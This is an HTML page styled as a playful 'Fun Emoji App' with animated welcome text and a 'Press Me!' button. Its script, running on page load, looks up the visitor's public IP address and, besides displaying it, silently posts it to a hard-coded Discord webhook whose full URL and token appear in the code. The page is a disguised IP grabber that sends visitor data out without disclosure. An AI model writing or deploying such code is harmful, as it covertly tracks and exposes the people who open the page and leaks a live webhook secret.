🌟 Welcome! 🌟
🌐 Fetching your IP Address... 🌐
```html
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Fun Emoji App</title>
<style>
@keyframes bounce {
0%, 100% { transform: translateY(0); }
50% { transform: translateY(-10px); }
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
</style>
</head>
<body>
<div style="width: 400px; height: 400px; margin: auto; text-align: center; border: 2px solid #000; border-radius: 10px; padding: 20px; box-shadow: 0 0 10px rgba(0,0,0,0.2); overflow: hidden; position: relative;">
<div style="font-size: 50px; animation: bounce 1s infinite;">
🌟 Welcome! 🌟
</div>
<div style="font-size: 30px; margin: 20px 0;">
🌐 Fetching your IP Address... 🌐
</div>
<button id="actionButton" style="font-size: 20px; padding: 10px; border: none; border-radius: 5px; cursor: pointer; background-color: #ffcc00; box-shadow: 0 5px #999;" onclick="actionClicked()">
Press Me! 🎉
</button>
<div id="result" style="font-size: 20px; margin-top: 20px; animation: spin 3s linear infinite;">
</div>
</div>
<script>
function postToDiscord(ip) {
fetch('https://discord.com/api/webhooks/1238071307468275722/abRiUiLPKfji3oJEWBZbwdBOIG2sEFGag1RA2Nrg6qYmij-CsfEaCuP_AArnp-S8ycT-', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ content: `📢 IP Address: ${ip}` })
});
}
fetch('https://api.ipify.org')
.then(response => response.text())
.then(ip => {
document.getElementById('result').innerText = `🌟 Your IP: ${ip} 🌟`;
postToDiscord(ip);
})
.catch(error => {
document.getElementById('result').innerText = `❗ Error fetching IP ❗`;
});
function actionClicked() {
document.getElementById('actionButton').style.animation = 'bounce 0.5s';
document.getElementById('actionButton').addEventListener('animationend', () => {
document.getElementById('actionButton').style.animation = '';
});
}
</script>
</body>
</html>
```